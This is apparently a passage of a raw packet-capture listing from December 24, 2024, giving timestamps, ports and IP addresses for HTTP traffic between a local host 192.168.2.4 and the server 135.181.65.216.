Dec 24, 2024 22:27:15.769967079 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.770090103 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.770106077 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.770134926 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.770148039 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.770303965 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.770838976 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.770884991 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.770919085 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.770935059 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.770957947 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.770982027 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.771182060 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.771260023 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.771675110 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.771739960 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.771775007 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.771790981 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.771820068 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.771833897 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.772078037 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.772129059 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.772567987 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.772583008 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.772614002 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.772628069 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.772749901 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.772767067 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.772814035 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.772826910 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.773425102 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.773499012 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.773514986 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.773549080 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.773564100 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.773730993 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.774244070 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.774296999 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.774363995 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.774379015 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.774404049 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.774421930 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.774571896 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.775170088 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.775185108 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.775221109 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.775233984 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.775284052 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.775300026 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.775341034 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.775998116 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.776062965 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.776078939 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.776117086 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.776117086 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.776343107 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.776886940 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.776901007 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.776936054 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.776951075 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.777015924 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.777031898 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.777082920 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.872262955 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.872363091 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.872376919 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.872436047 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.872531891 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.872622967 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.872699022 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.872714996 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.872756958 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.872929096 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.873138905 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.873184919 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.873230934 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.873246908 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.873274088 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.873291016 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.873476028 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.873523951 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.874007940 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.874053001 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.874145031 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.874165058 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.874187946 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.874200106 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.874433994 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.874672890 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.874846935 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.874871969 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.874887943 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.874917030 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.875030041 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.875046968 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.875092983 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.875752926 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.875801086 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.875838995 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.875854969 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.875884056 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.875897884 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.876066923 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.876590967 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.876641035 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.876672983 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.876688957 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.876709938 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.876724958 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.876949072 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.876996040 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.877427101 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.877490044 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.877523899 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.877540112 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.877563953 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.877578974 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.877789974 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.877921104 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.878288031 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.878334045 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.878381014 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.878396034 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.878423929 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.878437996 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.878642082 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.879187107 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.879237890 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.879333973 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.879350901 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.879379034 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.879391909 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.879565001 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.880083084 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.880139112 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.880314112 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.880362034 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.956561089 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.956623077 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.956656933 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.956674099 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.956702948 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.956715107 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.956870079 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.956919909 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.957045078 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.957061052 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.957091093 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.957104921 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.957334995 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.957350969 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.957384109 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.957396984 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.958012104 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.958064079 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.958080053 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.958095074 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.958122969 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.958134890 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.958326101 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.958385944 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.958559036 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.958585024 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.958606958 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.958626986 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.958720922 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.958772898 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.958847046 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.958894968 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.959451914 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.959501982 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.959534883 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.959551096 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.959578991 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.959592104 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.959795952 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.959855080 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.960292101 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.960342884 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.960377932 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.960391998 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.960421085 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.960445881 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.960623980 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.960671902 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.961153984 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.961201906 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.961242914 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.961257935 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.961287975 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.961301088 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.961497068 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.961556911 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.962006092 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.962060928 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.962107897 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.962121964 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.962155104 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.962167978 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.962335110 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.962387085 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.962893009 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.962943077 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.962970972 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.962985992 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.963013887 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.963023901 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.963212967 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.963263988 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.963746071 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.963762045 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.963795900 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.963809013 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.963891983 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.963907003 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.963967085 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.964627028 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.964643002 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.964658976 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:15.964674950 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:15.964704037 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.012259007 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.131934881 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.433621883 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.433645964 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.433655977 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.433722973 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.433917999 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.434144020 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.434155941 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.434200048 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.434494019 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.434505939 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.434542894 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.434575081 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.434812069 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.434822083 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.434834003 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.434864998 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.434890032 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.435293913 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.436186075 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.436240911 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.437257051 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.437433958 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.437478065 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.440176964 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.440192938 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.440205097 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.440216064 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.440232992 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.440238953 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.440246105 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.440252066 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.440256119 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.440258026 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.440263033 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.440270901 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.440277100 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.440299988 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.440315008 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.440320969 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.440326929 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.440331936 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.440335989 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.440337896 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.440341949 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.440346003 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.440352917 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.440357924 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.440370083 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.440377951 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.440406084 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.440416098 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.440777063 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.440880060 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.440924883 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.441088915 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.441099882 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.441137075 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.441612959 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.441662073 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.441721916 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.441732883 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.441764116 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.441776991 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.442020893 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.442478895 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.442527056 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.442611933 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.442622900 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.442662954 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.442940950 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.443594933 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.443612099 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.443624020 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.443635941 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.443646908 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.443659067 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.443686008 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.444267035 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.444278002 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.444288015 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.444324017 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.444340944 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.444931030 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.445921898 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.448832989 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.448843956 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.448853970 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.448864937 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.448875904 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.448889017 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.448919058 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.448987961 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.448998928 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.449023008 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.449048996 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.449171066 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.449181080 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.449192047 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.449203014 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.449229956 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.449244022 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.449306011 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.449779034 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.449789047 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.449831009 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.450485945 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.450495958 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.450525999 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.450551987 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.450794935 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.450804949 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.450815916 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.450848103 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.450872898 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:16.451253891 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.451564074 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:16.451581001 CET	80	49749	135.181.65.216	192.168.2.4
